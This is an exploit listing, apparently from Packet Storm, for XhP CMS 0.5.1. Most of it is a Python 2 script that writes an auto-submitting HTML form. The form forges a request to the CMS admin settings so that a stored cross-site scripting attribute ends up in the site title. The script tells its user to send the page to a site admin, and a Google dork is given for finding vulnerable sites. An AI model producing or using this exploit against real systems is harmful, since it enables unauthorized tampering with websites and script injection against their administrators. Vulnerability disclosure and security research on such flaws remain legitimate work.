XhP CMS 0.5.1 Cross Site Request Forgery / Cross Site Scripting

🗓️ 19 Oct 2016 00:00:00Reported by Ahsan TahirType

packetstorm🔗 packetstormsecurity.com👁 35 Views

XhP CMS 0.5.1 Cross-Site Request Forgery to Persistent Cross-Site Scriptin

`# Exploit Title: XhP CMS 0.5.1 - Cross-Site Request Forgery to Persistent Cross-Site Scripting  
# Exploit Author: Ahsan Tahir  
# Date: 19-10-2016  
# Software Link: https://sourceforge.net/projects/xhp/  
# Vendor: https://sourceforge.net/projects/xhp/  
# Google Dork: inurl:Powered by XHP CMS  
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial  
# Website: www.ahsan-tahir.com  
# Category: webapps  
# Version: 0.5.1  
# Tested on: [Kali Linux 2.0 | Windows 8.1]  
# Email: [email protected]  
  
import os  
import urllib  
  
if os.name == 'nt':  
os.system('cls')  
else:  
os.system('clear')  
  
banner = '''  
+-==-==-==-==-==-==-==-==-==-==-==-==-==-=-=-=+  
| __ ___ ____ ____ __ __ ____ |  
| \ \/ / |__ | _ \ / ___| \/ / ___| |  
| \ /| '_ \| |_) | | | | |\/| \___ \ |  
| / \| | | | __/ | |___| | | |___) | |  
| /_/\_\_| |_|_| \____|_| |_|____/ |   
| > XhP CMS 0.5.1 - CSRF to Persistent XSS |  
| > Exploit Author & Script Coder: Ahsan Tahir|  
+=====-----=====-----======-----=====---==-=-=+   
'''  
def xhpcsrf():  
  
print banner  
  
url = str(raw_input(" [+] Enter The Target URL (Please include http:// or https://): "))  
  
csrfhtmlcode = '''  
<html>  
<!-- CSRF PoC -->  
<body>  
<form action="http://%s/action.php?module=users&action=process_general_config&box_id=29&page_id=0&basename=index.php&closewindow=&from_page=page=0&box_id=29&action=display_site_settings&errcode=0" method="POST" enctype="multipart/form-data" name="exploit">  
<input type="hidden" name="frmPageTitle" value=""accesskey=z onclick="alert(document.domain)" />  
<input type="hidden" name="frmPageUrl" value="http://localhost/xhp/" />  
<input type="hidden" name="frmPageDescription" value=" " />  
<input type="hidden" name="frmLanguage" value="english" />  
<input type="submit" value="Submit request" />  
</form>  
<script type="text/javascript" language="JavaScript">  
//submit form  
document.exploit.submit();  
</script>   
</body>  
</html>  
  
''' % url  
  
print " +----------------------------------------------------+\n [!] The HTML exploit code for exploiting this CSRF has been created."  
  
print(" [!] Enter your Filename below\n Note: The exploit will be saved as 'filename'.html \n")  
extension = ".html"  
name = raw_input(" Filename: ")  
filename = name+extension  
file = open(filename, "w")  
  
file.write(csrfhtmlcode)  
file.close()  
print(" [+] Your exploit is saved as %s")%filename  
print(" [+] Further Details:\n [!] The code saved in %s will automatically submit without\n any user interaction\n [!] To fully exploit, send the admin of this site a webpage with\n the above code injected in it, when he/she will open it the\n title of their website will be\n changed to an XSS payload, and then\n go to %s and hit ALT+SHIFT+Z on your keyboard, boom! XSS will pop-up!") %(filename, url)  
print("")  
  
xhpcsrf()   
`

19 Oct 2016 00:00Current

0.1Low risk

Vulners AI Score0.1